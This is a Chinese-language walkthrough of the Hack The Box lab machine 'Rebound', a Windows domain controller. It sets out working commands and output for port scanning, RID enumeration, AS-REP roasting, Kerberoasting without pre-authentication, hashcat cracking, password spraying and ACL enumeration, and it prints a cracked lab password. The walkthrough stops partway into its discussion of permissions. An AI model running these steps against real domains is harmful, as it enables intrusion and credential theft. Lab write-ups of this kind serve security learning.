HTB
March 2, 2025

HTB-Rebound

Rebound

nmap扫描

nmap进行端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
sudo nmap -sT --min-rate 1000 -p- 10.10.11.231 -oA nmapscan/ports

Nmap scan report for 10.10.11.231
Host is up (0.11s latency).
Not shown: 60752 closed tcp ports (conn-refused), 4758 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49673/tcp open  unknown
49690/tcp open  unknown
49691/tcp open  unknown
49694/tcp open  unknown
49705/tcp open  unknown
49720/tcp open  unknown
49737/tcp open  unknown
49803/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 189.13 seconds

过滤出开放端口

1
ports=$(grep open nmapscan/ports.nmap | awk -F '/' '{print $1}' |paste -sd ',')

进行更详细的扫描

1
sudo nmap -sT -sV -sC -O -p$ports 10.10.11.231 -oA nmapscan/detail

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 20:33 CST
Nmap scan report for 10.10.11.231
Host is up (0.17s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-17 19:16:08Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2025-02-16T18:33:25
|_Not valid after:  2026-02-16T18:33:25
|_ssl-date: 2025-02-17T19:19:02+00:00; +6h42m55s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2025-02-16T18:33:25
|_Not valid after:  2026-02-16T18:33:25
|_ssl-date: 2025-02-17T19:19:02+00:00; +6h42m56s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2025-02-16T18:33:25
|_Not valid after:  2026-02-16T18:33:25
|_ssl-date: 2025-02-17T19:19:02+00:00; +6h42m55s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49690/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49691/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
49705/tcp open  msrpc         Microsoft Windows RPC
49720/tcp open  msrpc         Microsoft Windows RPC
49737/tcp open  msrpc         Microsoft Windows RPC
49803/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2019 (95%), Microsoft Windows Server 2012 (92%), Microsoft Windows Vista SP1 (92%), Microsoft Windows 10 1709 - 1909 (92%), Microsoft Windows Longhorn (91%), Microsoft Windows Server 2012 R2 Update 1 (90%), Microsoft Windows Server 2016 (90%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (90%), Microsoft Windows Server 2012 R2 (90%), Microsoft Windows 10 1703 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-02-17T19:18:47
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 6h42m55s, deviation: 0s, median: 6h42m54s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 184.03 seconds

注：这里存在clock-skew: mean: 6h42m55s, deviation: 0s, median: 6h42m54s，我们在域渗透中需要对时间进行同步

1
>sudo ntpdate 10.10.11.231  //走udp协议

或使用

1
>sudo net time set -S 10.10.11.231  //走smb 445 139 135

可以同时进行udp端口扫描和漏洞脚本扫描

1
2
sudo nmap -sU --top-ports 40 10.10.11.231 -oA nmapscan/udp
sudo nmap -script=vuln -p$ports 10.10.11.231 -oA nmapscan/vuln

udp端口扫描结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 20:44 CST
Nmap scan report for 10.10.11.231
Host is up (0.15s latency).
Not shown: 29 closed udp ports (port-unreach)
PORT     STATE         SERVICE
53/udp   open          domain
123/udp  open          ntp
137/udp  open|filtered netbios-ns
138/udp  open|filtered netbios-dgm
139/udp  open|filtered netbios-ssn
500/udp  open|filtered isakmp
514/udp  open|filtered syslog
520/udp  open|filtered route
1900/udp open|filtered upnp
4500/udp open|filtered nat-t-ike
5353/udp open|filtered zeroconf

Nmap done: 1 IP address (1 host up) scanned in 36.44 seconds

漏洞脚本扫描结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Nmap scan report for 10.10.11.231
Host is up (0.13s latency).

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49673/tcp open  unknown
49690/tcp open  unknown
49691/tcp open  unknown
49694/tcp open  unknown
49705/tcp open  unknown
49720/tcp open  unknown
49737/tcp open  unknown
49803/tcp open  unknown

Host script results:
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR

Nmap done: 1 IP address (1 host up) scanned in 200.79 seconds

刚才在我们的nmap扫描结果中发现了两个域名rebound.htb和dc01.rebound.htb，我们将其加入到hosts文件中

1
sudo sed -i '1i 10.10.11.231 rebound.htb dc01.rebound.htb' /etc/hosts

从上面的扫描中我们很容易的可以判断出这是一台域控机器

smb共享枚举

1
sudo nxc smb rebound.htb --shares

从输出结果中没有发现有用信息

微信截图_20250217213158

如果自己搭建过smb共享的话我们知道任何不属于smb账户的账户均能被映射成guest账户（前提是开放了匿名共享），我们尝试进行登录

1
sudo nxc smb rebound.htb -u chromos2me -p '' --shares

可以看到我们对IPC$和Shared两个文件夹存在读取权限

微信截图_20250217213717

我们利用impacket工具包进行读取

1
sudo impacket-smbclient rebound.htb/chromos2me@10.10.11.231 -no-pass

是一个很典型的smb共享

微信截图_20250217214913

我们枚举一下Shared共享，发现没有可用的信息

微信截图_20250217215021

看一下IPC$共享，发现存在一些东西，但是似乎用不上

微信截图_20250218155315

RID枚举

我们只要对域有一定的了解我们就会知道SID的最后一位是RID（Relative Identifier，相对标识符），用于唯一标识域或本地系统中的用户和组，通过枚举RID我们可以对系统中的用户及其所属组有一定的掌握

常见的进行枚举的方法有很多，如Impacket的 lookupsid.py，或是利用rpcclient下的enumdomusers命令（权限要求相对较高，枚举失败可能性很大）等等

利用rpc匿名登录进行枚举显示权限不足

微信截图_20250218160315

更换枚举方式

1
sudo impacket-lookupsid chromos2me@rebound.htb -no-pass

同时可以结合选项maxRid枚举更大的SID

maxRid max Rid to check (default 4000)

1
sudo impacket-lookupsid chromos2me@rebound.htb 40000 -no-pass

枚举结果如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Brute forcing SIDs at rebound.htb
[*] StringBinding ncacn_np:rebound.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
498: rebound\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: rebound\Administrator (SidTypeUser)
501: rebound\Guest (SidTypeUser)
502: rebound\krbtgt (SidTypeUser)
512: rebound\Domain Admins (SidTypeGroup)
513: rebound\Domain Users (SidTypeGroup)
514: rebound\Domain Guests (SidTypeGroup)
515: rebound\Domain Computers (SidTypeGroup)
516: rebound\Domain Controllers (SidTypeGroup)
517: rebound\Cert Publishers (SidTypeAlias)
518: rebound\Schema Admins (SidTypeGroup)
519: rebound\Enterprise Admins (SidTypeGroup)
520: rebound\Group Policy Creator Owners (SidTypeGroup)
521: rebound\Read-only Domain Controllers (SidTypeGroup)
522: rebound\Cloneable Domain Controllers (SidTypeGroup)
525: rebound\Protected Users (SidTypeGroup)
526: rebound\Key Admins (SidTypeGroup)
527: rebound\Enterprise Key Admins (SidTypeGroup)
553: rebound\RAS and IAS Servers (SidTypeAlias)
571: rebound\Allowed RODC Password Replication Group (SidTypeAlias)
572: rebound\Denied RODC Password Replication Group (SidTypeAlias)
1000: rebound\DC01$ (SidTypeUser)
1101: rebound\DnsAdmins (SidTypeAlias)
1102: rebound\DnsUpdateProxy (SidTypeGroup)
1951: rebound\ppaul (SidTypeUser)
2952: rebound\llune (SidTypeUser)
3382: rebound\fflock (SidTypeUser)
5277: rebound\jjones (SidTypeUser)
5569: rebound\mmalone (SidTypeUser)
5680: rebound\nnoon (SidTypeUser)
7681: rebound\ldap_monitor (SidTypeUser)
7682: rebound\oorend (SidTypeUser)
7683: rebound\ServiceMgmt (SidTypeGroup)
7684: rebound\winrm_svc (SidTypeUser)
7685: rebound\batch_runner (SidTypeUser)
7686: rebound\tbrady (SidTypeUser)
7687: rebound\delegator$ (SidTypeUser)

我们提取出我们需要的用户账号

1
cat rids | grep SidTypeUser | grep -v '\$' | awk -F '\' '{print $2}' | awk -F '(' '{print $1}' | tee users

AS-REP Roasting

现在我们拥有了域内用户信息，可以尝试进行AS-REP Roasting攻击，即那些没有进行kerberos身份预验证的账户，他们可以直接向KDC请求TGT票据，KDC会返回TGT票据以及利用用户密码哈希加密的Session Key

1
sudo impacket-GetNPUsers -usersfile users -request -format hashcat -dc-ip 10.10.11.231 rebound.htb/

我们拿到一组票据

1
$krb5asrep$23$jjones@REBOUND.HTB:90eceab92a97ec106b04a553836ccf63$29864af1884ffda71304e868cbccc40d0b7412e4aad18d712c47484c2ebe144153e3ded5bb88eff602236e8c741dd1135dd60069c280c3901e11f5185a675e76dafeb085e6322604b1ab76ab70bd684dbe62979ec5617ba84508749be580bfd3fb15673be2aaa24dd37d4cee7dc001f5edae563d08487de7a798d298b4bec490b14435ab563d864b1b3721eed73315afe782abc63c7c61d40f11047c4c1056f9c10abbb08363fca070907015419b2c0c0b56de28e4d8abbe11d7c57a944cecc6dc501ba1fe1e648abdbfc0080d6734f1030cfbb6fd3de584de2967feb9c358a90af71258bfff0544eeaf

或者利用nxc进行asrep-roasting攻击

1
sudo nxc ldap -u users -p '' --asreproast asrep rebound.htb

返回相同的结果

1
2
3
SMB         10.10.11.231    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
LDAP        10.10.11.231    445    DC01             $krb5asrep$23$jjones@REBOUND.HTB:4d4b23e6080644cba535559a570eec9c$03a8ee4eb3373b908413c80b80f7829f9ce0229ea9891fda70d8e3759d3bbbaee6c252101aa5698cfb400b13158781d9b2e0723e001415751ccea4b247bd32dbfcf610a1245c19ed27920fdd5ad1fc00fd521633527ddf5e153039584f96449b088b860a00b7d7cf61985d6bbc9b6a3e30f130ccf0716bbb635d01fcdf44e1e91a7ed9000fd59d775e55d104eb083dd125c3190ce0757a8ac2638f072df7472455e453874c8a1209288bd8915503fd10d2dc932fe6476606dba5f347d9fd3cd902090c672a0808d5f6610d062298ac50c07581af14d06c20290d1d8181d891245beef1ab182a027146c5

利用hashcat进行破解

1
sudo hashcat -m 18200 '$krb5asrep$23$jjones@REBOUND.HTB:4d4b23e6080644cba535559a570eec9c$03a8ee4eb3373b908413c80b80f7829f9ce0229ea9891fda70d8e3759d3bbbaee6c252101aa5698cfb400b13158781d9b2e0723e001415751ccea4b247bd32dbfcf610a1245c19ed27920fdd5ad1fc00fd521633527ddf5e153039584f96449b088b860a00b7d7cf61985d6bbc9b6a3e30f130ccf0716bbb635d01fcdf44e1e91a7ed9000fd59d775e55d104eb083dd125c3190ce0757a8ac2638f072df7472455e453874c8a1209288bd8915503fd10d2dc932fe6476606dba5f347d9fd3cd902090c672a0808d5f6610d062298ac50c07581af14d06c20290d1d8181d891245beef1ab182a027146c5' /usr/share/wordlists/rockyou.txt

没有成功破解，尝试添加密码规则扩充密钥空间

1
sudo hashcat -m 18200 '$krb5asrep$23$jjones@REBOUND.HTB:4d4b23e6080644cba535559a570eec9c$03a8ee4eb3373b908413c80b80f7829f9ce0229ea9891fda70d8e3759d3bbbaee6c252101aa5698cfb400b13158781d9b2e0723e001415751ccea4b247bd32dbfcf610a1245c19ed27920fdd5ad1fc00fd521633527ddf5e153039584f96449b088b860a00b7d7cf61985d6bbc9b6a3e30f130ccf0716bbb635d01fcdf44e1e91a7ed9000fd59d775e55d104eb083dd125c3190ce0757a8ac2638f072df7472455e453874c8a1209288bd8915503fd10d2dc932fe6476606dba5f347d9fd3cd902090c672a0808d5f6610d062298ac50c07581af14d06c20290d1d8181d891245beef1ab182a027146c5' /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule --potfile-disable

仍不成功，放弃asrep-roasting

Kerberos-Roasting

研究表明，可以利用AS-REP-roastable用户来执行Kerberoasting，无需预认证

1
However, for Kerberoasting, access to the session key is not required. Only the resulting ST—or more accurately, the encrypted part of the ST, which is not secured with the requesting accounts key—is required. Therefore, if any account is configured to not require pre-authentication, it is possible to Kerberoast without any credentials. This method of Kerberoasting has been implemented in Rubeus within this PR.

利用jjones这个不需要进行身份预验证的账户进行新型Kerberos-Roasting攻击，攻击处在KRB_TGS_REP这个过程，我们可以拿到利用此服务账号的NTLM HASH加密过的TGS

1
2
3
sudo impacket-GetUserSPNs -no-preauth jjones -usersfile users -dc-host dc01.rebound.htb rebound.htb/
//官方给出的实际上效果是一样的
GetUserSPNs.py -no-preauth jjones -request -usersfile ../usernames.txt rebound.htb/ -dc-ip 10.10.11.231

impacket-GetUserSPNs：用于获取域中指定用户的 Service Principal Names (SPNs)。SPNs 是 Kerberos 认证过程中的关键元素，它们标识了与特定服务相关的账户。

-no-preauth：表示禁用 预身份验证（Pre-Authentication）检查。在正常的 Kerberos 认证过程中，预身份验证是一个安全措施，用于确保请求的有效性。如果目标账户禁用了预身份验证（即帐户允许“无预身份验证”登录），那么使用此选项可以绕过此检查，从而直接请求 SPN。

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] Principal: Administrator - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: Guest - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$krbtgt$REBOUND.HTB$*krbtgt*$37e8dbc82b39558ec74c37d7$dccebf66d1c8bc563e74079954c881675dffac58038f4d932d6ea98855d2b543a6e3073119e6b754e3e433144d7d2fb27c5744b2cb3923f8a42e1737a88cda75001d5035b2888f0a960c919fc299e5f4828cefacf4534a5f8ba02ad7340fd2a9e756a4913767ff39e0590bf3e7353a5f4bf6605dbe0043658df11c94b92535cf94f4ff43bf5713bd348805c9f7acbcce9e51cdac252517fd27aad06533e7b2bbf94d9ab4005c0df4050f3e6e03ab216c6b778146d82049f1be4a0a16722ba78a1d70e09fac24abfd3d744a1300323de5b0488712df2dbfcbad6e60e99ff0fc19052d1aad89fa4c5dbadea51b1ef6d6709f2bd8aac694160c55b68e14d65c6440ab93d4e40884527236c3e8cdedcb3a307a1d2a643f508957271d2e72faff3c90b1abe66f769b1d7ac74defcc09ca1a533ad444fad681cb27b349cf60bbe2971f79c31e26c606e241ec8c5383f06e0316e9f7578b82670bf131da9f7ca701c8f6cba7c57b7af90fe1621b5ad791fd8c2c73d976a079419424708bca443c47bca1f72976d2df34ecafb6ba02d31bcf7e6a0edb127e814e13472460e220b0ed617ae21325014ad2be6cb9dfd254b471bcba735839943b7b37979352116cbee85aa95c23836f41a18b21170801824019caf01f4efe3d1bcd020d8931b025948cda971b01202b14dfa1c7b7bef2dace68fb8ce7d2b12772a75a11d8ee988b526ab7e2204ef11bedbb43a866fc6c893d35275232681b95309d17494ab80b190364639f7dcaca8a3f25a6e7787e2fc20e38ed0030321b0bf8de2389e57845276930b2569a42e4d60c74f600d104164de6385bf149eb91fdd15f59cc6c1d0f903807a7316e530c29fd8c736c9cb41976d0e93b948bf0b02fc5beb447874aed20efedb6a8ee28408ff035102a3fa99ada1ee66458e40114af337dcb05b9d0708c8af2c4d36844769fe43feec753aaefe098305210c876005110b3d401ceb1f423d7b7edd2d4d1d5dcbe92e47fda08519541ed7bd3da12d0739bfb01b38063a570b91ba9865e77a159b30a3d5c07ff99683faf26f7bf0fb9877a1960abe582f0c1cb0dad5355f7517e34d700b2b244ff40ae734677977006cccae7d0d997cf17422fdff6508dee9c62e4e49ea557ea474d5c06cbd82fc8d12288a418968e43ffc345aad343fbcfcbb4eee7c6cca80e518ded1f252d75e8e7e131b77fa4b8c7dfab9f0ae9d625164a23a574ee3da0032ae9dc82dfc5eef764e94fcb3f84b78f991eb5a1d981841ed1483e2b8b4bef65378d95df974d3bddd9d5e604df1817cea13c811e973f270560791340dfd3388d2ae2af2feb605913d23fc19ba98f68fd0fa336183449803e6321cc6d9394e7666fd40a49edd136f0b99555b5d1802186b0bcc3bdfc89468a11288e64604431e92a6ef7ef73fe0ed271dc0960f9ed705f2b6d648ea77b0eb94a6e4c6d2910072632ed6ce06072e050
[-] Principal: ppaul - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: llune - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: fflock - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: jjones - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: mmalone - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: nnoon - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$d0cabacff008f619cfda389fbbb87661$76d52cc9820f937845bf809c8d08d6e207b3454422a014a224ab5ba0505c6f5e328062a52e92f112589097b2fb36a437d712058a127ac4ad536acc07a2ed1c3da678bf4cb99910299650e2be8a4385ee13d94c8c802fe60a1d8de0b422d881dc70f0e1912321701d91e4a08d1d49dd151b41352ddefff5a65343e11c78bda3d1b9235cefac05fc8769cdcd1f4729a0c3d19ed60a624481d9ed636c13d45baf2964c97d933eb7743e4159f14a70e4d85015184a5bd22e9a9016e81b88df9ec1f2c7a11dab9290af97c8b9b2c924951e9e76059757dcc81003aa9a8bb304014a30f94bbd6cfa9338af78ceb6c618aed856355e0af67d9aab65b223d9ba4b8271054cd20193be4074000230102ea644e51d4f458b441a0ab1068be7fd6d4ab3762e044a798eb2c5d942410089d2507ba9d46995ce0753712b8734bde612d75f8846f6cb47057d397ad381920a4211bfe4b0a1cc42ee03eff0e3946430d29f16b9cc56569d24e7d1f11df20980778786f576196596225d5288167317150265e3fad71e7660d0142cc19f2225cedb64ee5bd03698df39955876a53a3eb2b3a16a8964b4b97cbf1ca6a1a39e3fa09d3cebe2a9bc7e41558017c7223910dfe9581ccdfdc2f4bc6f4a849459a8a214fca4b1737d352c43a39e049c0d8ebc42449cd9b542d03be6d5082581019cf1e0da2c4a2e465f45a99888b492ee71fee82cb9355bc4682e906304fdf4925afbe60233f33d1d570e5dfec08824a559f07db09085ccac08e57dc6146f14aa84eafb005e3c0de493699c81f94b7efa0926275f8b32d80cc96e4aa08310d89e1f5c8f3920bd1d968b0c8b39965a927e792f99d4e1b9f9a72e5eec2ee5e8d7fc240fc54d2874fe7c79d561849dc33dd8e246653acc2442c695fc3209b9c8270ea72b61627b6d5de4c1c4664f50bb60369bd944d993075914d396ce05ace9af55316662720acbcab2797b7e778c53d631d4942c63a9e3aa35ae7964a27d1adaca673c3ba561bec09689d8af075c3ec961d51d9698cf89f77a8eeff3c704bf00981142c48937ef4c939715bc27803d98274de4dc44bc062dfe6581cc77dd4afbd19854ce1b3f7dff0491db396076268170b0c0f9385ff486a9cf8accf97e171474dd1843d60b6042bf80756f8dd549008f21f263d1b8639d34a254a49454396e98461a499beb0faa28655a68a92bc02852f50f20045a5138b6cf6eb7348d601494f380ba568a64b5a1c4015c60bf6607265e032302f0b2e49d94111fc9b00fc624c3d4621e651acc8a6fd0a467a34ef27dd5e2f751b07c93265800a3fb010bae89ebb641fcd5b4736e0563cd3be2399bca4b7ea48ac7e5cb9de664
[-] Principal: oorend - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: winrm_svc - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: batch_runner - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: tbrady - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)

相比于krbtgt账户，我们破解ldap_monitor账户的可能性要大得多，我们从这个账户入手，选择TGS-REP模式

1
sudo hashcat -m 13100 '$krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$d0cabacff008f619cfda389fbbb87661$76d52cc9820f937845bf809c8d08d6e207b3454422a014a224ab5ba0505c6f5e328062a52e92f112589097b2fb36a437d712058a127ac4ad536acc07a2ed1c3da678bf4cb99910299650e2be8a4385ee13d94c8c802fe60a1d8de0b422d881dc70f0e1912321701d91e4a08d1d49dd151b41352ddefff5a65343e11c78bda3d1b9235cefac05fc8769cdcd1f4729a0c3d19ed60a624481d9ed636c13d45baf2964c97d933eb7743e4159f14a70e4d85015184a5bd22e9a9016e81b88df9ec1f2c7a11dab9290af97c8b9b2c924951e9e76059757dcc81003aa9a8bb304014a30f94bbd6cfa9338af78ceb6c618aed856355e0af67d9aab65b223d9ba4b8271054cd20193be4074000230102ea644e51d4f458b441a0ab1068be7fd6d4ab3762e044a798eb2c5d942410089d2507ba9d46995ce0753712b8734bde612d75f8846f6cb47057d397ad381920a4211bfe4b0a1cc42ee03eff0e3946430d29f16b9cc56569d24e7d1f11df20980778786f576196596225d5288167317150265e3fad71e7660d0142cc19f2225cedb64ee5bd03698df39955876a53a3eb2b3a16a8964b4b97cbf1ca6a1a39e3fa09d3cebe2a9bc7e41558017c7223910dfe9581ccdfdc2f4bc6f4a849459a8a214fca4b1737d352c43a39e049c0d8ebc42449cd9b542d03be6d5082581019cf1e0da2c4a2e465f45a99888b492ee71fee82cb9355bc4682e906304fdf4925afbe60233f33d1d570e5dfec08824a559f07db09085ccac08e57dc6146f14aa84eafb005e3c0de493699c81f94b7efa0926275f8b32d80cc96e4aa08310d89e1f5c8f3920bd1d968b0c8b39965a927e792f99d4e1b9f9a72e5eec2ee5e8d7fc240fc54d2874fe7c79d561849dc33dd8e246653acc2442c695fc3209b9c8270ea72b61627b6d5de4c1c4664f50bb60369bd944d993075914d396ce05ace9af55316662720acbcab2797b7e778c53d631d4942c63a9e3aa35ae7964a27d1adaca673c3ba561bec09689d8af075c3ec961d51d9698cf89f77a8eeff3c704bf00981142c48937ef4c939715bc27803d98274de4dc44bc062dfe6581cc77dd4afbd19854ce1b3f7dff0491db396076268170b0c0f9385ff486a9cf8accf97e171474dd1843d60b6042bf80756f8dd549008f21f263d1b8639d34a254a49454396e98461a499beb0faa28655a68a92bc02852f50f20045a5138b6cf6eb7348d601494f380ba568a64b5a1c4015c60bf6607265e032302f0b2e49d94111fc9b00fc624c3d4621e651acc8a6fd0a467a34ef27dd5e2f751b07c93265800a3fb010bae89ebb641fcd5b4736e0563cd3be2399bca4b7ea48ac7e5cb9de664' /usr/share/wordlists/rocknew/rockyou.txt  --potfile-disable -O -w 3

可以发现破解成功

微信截图_20250218212235

我们测试一下我们的凭据ldap_monitor:1GR8t@$$4u

1
sudo nxc smb rebound.htb -u ldap_monitor -p '1GR8t@$$4u'

smb可以正常登录

微信截图_20250218212634

1
sudo nxc winrm rebound.htb -u ldap_monitor -p '1GR8t@$$4u'

winrm协议登录失败

微信截图_20250218212836

1
sudo nxc ldap rebound.htb -u ldap_monitor -p '1GR8t@$$4u'

微信截图_20250218212954

这里出现了一条提示LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.

表明LDAPS（LDAP over SSL）通道绑定可能已启用，而通道绑定仅支持 Kerberos 认证。因此，尝试使用 -k 选项来启用 Kerberos 认证。

我们加上-k参数重新验证

1
sudo nxc ldap rebound.htb -u ldap_monitor -p '1GR8t@$$4u' -k

出现了下面的问题KRB_AP_ERR_SKEW

微信截图_20250218214921

这表示客户端和服务器的时间不同步，导致 Kerberos 无法正确验证票据，这里因为使用ntpdate同步时间会导致我的HTB VPN挂掉，所以这里使用faketime这个工具进行时间伪造，我使用ntpdate查看与域控相隔的时间

1
2
2025-02-20 02:11:08.970646 (+0800) +24170.331702 +/- 0.248765 rebound.htb 10.10.11.231 s1 no-leap
CLOCK: time stepped by 24170.331702

换算一下也就是

微信截图_20250219193251

利用工具将本地时间向前调快6小时42 分钟（调慢是ago）

1
faketime '6 hours 42 minutes' nxc ldap rebound.htb -u ldap_monitor -p '1GR8t@$$4u' -k

认证上了，森哥牛逼，哭了

微信截图_20250219193627

密码喷洒

考虑到ldap_monitor这个服务账号的管理者可能复用密码在普通的用户账号上，我们对我们已经获得的账户名进行密码喷洒

1
sudo nxc smb rebound.htb -u users -p '1GR8t@$$4u' -d rebound.htb --continue-on-success

观察结果发现存在一个用户账号使用了相同的密码，现在我们拥有了两组凭据

微信截图_20250219194542

对oorend这个账户的权限进行验证

smb正常

微信截图_20250220161231

winrm仍然没有权限

微信截图_20250220161338

ldap正常

微信截图_20250220161449

尝试获取立足点

利用smb协议

1
sudo impacket-smbexec rebound.htb\oorend:'1GR8t@$$4u'@rebound.htb -dc-ip rebound.htb

微信截图_20250220161936

如上图均无权限

手工枚举

我们利用powerview.py进行手工枚举，首先连接到靶机的ldap

1
faketime '402 minutes' powerview rebound.htb/ldap_monitor:'1GR8t@$$4u'@10.10.11.231 -k

查看一下两个用户的信息

1
2
3
4
Get-DomainUser -Identity ldap_monitor

ldap_monitor Sid S-1-5-21-4078382237-1492182817-2568127209-7681
oorend Sid S-1-5-21-4078382237-1492182817-2568127209-7682

微信截图_20250220165641

微信截图_20250220165739

利用Sid枚举AD对象的访问控制列表（ACL）

1
Get-DomainObjectAcl -SecurityIdentifier S-1-5-21-4078382237-1492182817-2568127209-7682

微信截图_20250220170657

我们关注一下oorend的权限

1
2
3
4
5
6
7
8
ObjectDN                    : CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb
ObjectSID                   : S-1-5-21-4078382237-1492182817-2568127209-7683
ACEType                     : ACCESS_ALLOWED_ACE
ACEFlags                    : None
ActiveDirectoryRights       : Self
AccessMask                  : Self
InheritanceType             : None
SecurityIdentifier          : REBOUND\oorend

我们观察到oorend用户允许对ServiceMgmt这个组进行特定的操作，AccessMask和ActiveDirectoryRights均为Self，表示该权限条目允许对象自己对自己进行某些操作，那么我们考虑将其自身加入到ServiceMgmt这个看起来像一个低层级的管理组中

AccessMask权限分类

  • 0x0001：读取权限。
  • 0x0002：写入权限。
